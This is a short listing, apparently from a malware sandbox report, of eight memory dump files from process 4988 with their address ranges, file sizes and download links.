memory/4988-40-0x0000000006560000-0x00000000065AC000-memory.dmp

Filesize
304KB

Download
memory/4988-45-0x00000000089E0000-0x0000000008F84000-memory.dmp

Filesize
5.6MB

Download
memory/4988-37-0x0000000005F30000-0x0000000006284000-memory.dmp

Filesize
3.3MB

Download
memory/4988-27-0x0000000005DD0000-0x0000000005E36000-memory.dmp

Filesize
408KB

Download
memory/4988-26-0x0000000005710000-0x0000000005776000-memory.dmp

Filesize
408KB

Download
memory/4988-25-0x0000000005670000-0x0000000005692000-memory.dmp

Filesize
136KB

Download
memory/4988-24-0x00000000057A0000-0x0000000005DC8000-memory.dmp

Filesize
6.2MB

Download
memory/4988-23-0x0000000002C70000-0x0000000002CA6000-memory.dmp

Filesize
216KB

Download